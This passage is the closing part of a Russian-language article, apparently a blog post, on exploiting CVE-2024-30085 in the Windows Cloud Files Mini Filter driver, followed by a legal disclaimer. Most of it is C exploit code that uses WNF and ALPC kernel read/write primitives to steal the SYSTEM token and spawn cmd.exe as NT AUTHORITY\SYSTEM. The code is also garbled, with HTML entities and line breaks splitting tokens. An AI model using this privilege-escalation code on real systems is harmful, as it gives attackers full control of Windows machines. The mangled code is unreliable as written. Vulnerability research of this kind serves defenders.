lpc handleif (!WnfRelativeWrite(wnfCorruptedNameIndex, corruptAlpc.data(), corruptAl
pcSize)) { printf("[-] wnfRelativeWr
ite failed\n&q
uot;); return -1;}

И применяем технику Token Stealing в финале:

// read system token
BYTE* outputData = (BYTE*)calloc(1, 0x1000);
AlpcArbitraryRead(portsCount, pipeAttributeAddr, systemEPROCaddr, outputData, 0x1000);
ULONG tokenOffset = 0x4b8;
ULONG_PTR systemTtoken = *(ULONG_PTR*)(outputData + tokenOffset);
if (!systemTtoken) {
printf("[-] System TOKEN are not found
\n");
r
eturn -1;}printf("[+] System TOKEN: %p\n&q
uot;, systemTtoken);ULONG_PTR targetToken = EPRO
Caddr + tokenOffset;ULONG_PTR* payload = (ULONG_
PTR*)calloc(1, 0x8);payloa
d[0] = systemTtoken;// replace target tok
en with system tokenBOOL bRetNoMatter = AlpcArbitraryWrite(portsCount, (BYTE*)targetToken, (BYTE*)payload, 0x8); // returns false, but wri
tting actually worksSTARTUPINFO
StartupInfo = { 0 };PROCESS_INFORMATION Process
Information = { 0 };BOOL b
Ret = CreateProcess( "C:\\Win
dows\\Sys
tem32\\cm
d.exe&quo
t;, NUL
L, NULL, NULL,
FALSE,
CREATE_
NEW_CONSOLE, NULL,
NULL, &StartupIn
fo
, &Pr
ocessInformation);if (!bRet) { printf("[-] Failed to Create Target
Process: 0x%X
\n", GetLastError()); return -1;}
NtQuerySystemInformation
Рисунок 18. Демонстрация работы
Рисунок 18. Демонстрация работы

Результат

В результате, используя уязвимость CVE-2024-30085 в драйвере Windows Cloud Files Mini Filter и связку WNF + ALPC, мы создали примитивы на чтение и запись в ядерную память. Благодаря чему, украли системный токен и запустили терминал с правами NT AUTHORITY\SYSTEM.

Статья носит исключительно информационный характер и не является инструкцией или призывом к совершению противоправных действий. Наша цель — рассказать о существующих уязвимостях, которыми могут воспользоваться злоумышленники, предостеречь пользователей и дать рекомендации по защите личной информации в интернете. Авторы не несут ответственности за использование опубликованной информации. Помните, что нужно следить за защищенностью своих данных.

41 views·1 share